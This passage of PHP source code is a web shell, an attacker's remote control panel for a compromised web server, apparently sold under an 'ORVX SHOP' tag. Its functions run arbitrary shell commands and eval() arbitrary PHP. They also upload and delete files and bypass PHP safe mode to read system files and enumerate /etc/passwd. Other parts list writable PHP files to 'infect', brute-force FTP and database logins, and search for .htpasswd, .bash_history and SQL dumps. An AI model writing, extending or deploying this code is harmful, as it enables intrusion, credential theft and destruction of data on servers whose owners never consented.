		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);
function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();//--------------ORVX SHOP--------------//
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	hardFooter();
}
function actionPhp() {
	if( isset($_POST['ajax']) ) {
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
		ob_start();
		eval($_POST['p1']);//--------------ORVX SHOP--------------//
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit; 
	}
	hardHeader();
	if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
		echo '<h1>PHP info</h1><div class=content>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
		$tmp = preg_replace('!body {.*}!msiU','',$tmp);
		$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
		$tmp = preg_replace('!h1!msiU','h2',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
		echo $tmp;
		echo '</div><br>';//--------------ORVX SHOP--------------//
	}
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
		echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	hardFooter();
}
function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {//--------------ORVX SHOP--------------//
			case 'uploadFile':
				if ( is_array($_FILES['f']['tmp_name']) ) {
					foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
                        if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
							}
						}
					}
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($dokl = readdir($dh) ) !== false) {
						$dokl = $path.$dokl;
						if ( (basename($dokl) == "..") || (basename($dokl) == ".") )
							continue;
						$type = filetype($dokl);
						if ($type == "dir")
							deleteDir($dokl);
						else
							@unlink($dokl);
					}//--------------ORVX SHOP--------------//
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					prototype('act', $_POST['p1']);
					prototype('f', serialize(@$_POST['f']));
					prototype('c', @$_POST['c']);
				}
				break;
		}
	}
    hardHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';hardFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function cmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "cmp");
	usort($dirs, "cmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr id=fak><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<label><select name='p1'>";
	if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'> Paste</option>";
	echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (unzip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    echo "</select></label>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "&nbsp;file name: <input type=text name=p2 value='orvx_" . rand(100000,900000) . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='submit'></td></tr></form></table></div>";
	hardFooter();
}
function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='submit'></td></tr>
			</table></form>";
	function hardRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $dokl) {
				if(@is_dir($dokl)){
					if($path!=$dokl)
						hardRecursiveGlob($dokl);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($dokl), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($dokl)."\", \"view\",\"\")'>".htmlspecialchars($dokl)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		hardRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
			<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
			<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>
			<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>
			<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
		</form></div>";
	hardFooter();
}
function actionDeliverytest() {
    header("Location: ?email");
exit();

}
function actionSafeMode() {
	$temp='';
	ob_start();
	switch($_POST['p1']) {
		case 1:
			$temp=@tempnam($test, 'cx');
			if(@copy("compress.zlib://".$_POST['p2'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo 'Sorry... Can\'t open file';
			break;
		case 2:
			$files = glob($_POST['p2'].'*');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."
";
			break;
		case 3:
			$ch = curl_init("file://".$_POST['p2']."".SELF_PATH);
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST['p2']);
			break;
		case 5:
			for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
				$uid = @posix_getpwuid($_POST['p2']);
				if ($uid)
					echo join(':',$uid)."
";
			}
			break;
		case 6:
			if(!function_exists('imap_open'))break;
			$stream = imap_open($_POST['p2'], "", "");
			if ($stream == FALSE)
				break;
			echo imap_body($stream, 1);
			imap_close($stream);
			break;
	}
	$temp = ob_get_clean();
	hardHeader();
	echo '<h1>Safe mode bypass</h1><div class=content>';
	echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
	if($temp)
		echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
	echo '</div>';
	hardFooter();
}
function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die(header('Location: '.$_SERVER['PHP_SELF']));
}
function actionchangepass() {
    $s_result='';
   		if(isset($_POST['p1'])&&!empty($_POST['p1'])){
			$newpass = isset($_POST['p2'])? trim($_POST['p2']):"";
			
			
			
			
				if(changepass($newpass)){
					$s_result = '<b style="color:#28C76F !important">Password Changed!</b>';
				}
				else {$s_result = '<b style="color:#EA5455 !important">password can\'t changed!</b>';}
			
		}
    
    hardHeader();
	echo '<h1>Change Password</h1><br>'.$s_result.'<div class=content>';
	echo '<span>Your new password (leave empty to make the shell without password): </span><form method=post onsubmit="g(\'changepass\',null,\'submit\',this.passwordnew.value,\'\');return false;"><input class="toolsInp" type=text name=passwordnew><input name=submitnewpass type=submit value="submit"></form>';
	
	echo '</div><br>';
	hardFooter();
    
    
}
function actionSelfRemove() {
	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', $_SERVER['SCRIPT_FILENAME'])))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        hardHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	hardFooter();
}
function actionInfect() {
	hardHeader();
	echo '<h1>Infect</h1><div class=content>';
	if($_POST['p1'] == 'infect') {
		$target=$_SERVER['DOCUMENT_ROOT'];
			function ListFiles($dir) {
				if($dh = opendir($dir)) {
					$files = Array();
					$inner_files = Array();
					while($file = readdir($dh)) {
						if($file != "." && $file != "..") {
							if(is_dir($dir . "/" . $file)) {
								$inner_files = ListFiles($dir . "/" . $file);
								if(is_array($inner_files)) $files = array_merge($files, $inner_files); 
							} else {
								array_push($files, $dir . "/" . $file);
							}
						}
					}
					closedir($dh);
					return $files;
				}
			}
			foreach (ListFiles($target) as $key=>$file){
				$nFile = substr($file, -4, 4);
				if($nFile == ".php" ){
					if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
						echo "$file<br>";
						$i++;
					}
				}
			}
			echo "<font color=#7367F0 size=14>$i</font>";
		}else{
			echo "<form method=post><input type=submit value=Infect name=infet></form>";
			echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
		}
	hardFooter();
}
function actionBruteforce() {
	hardHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<input type=hidden name=ne  value="">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
		.'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
		.'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
	echo '</div>';
	hardFooter();
}
function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function __construct($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
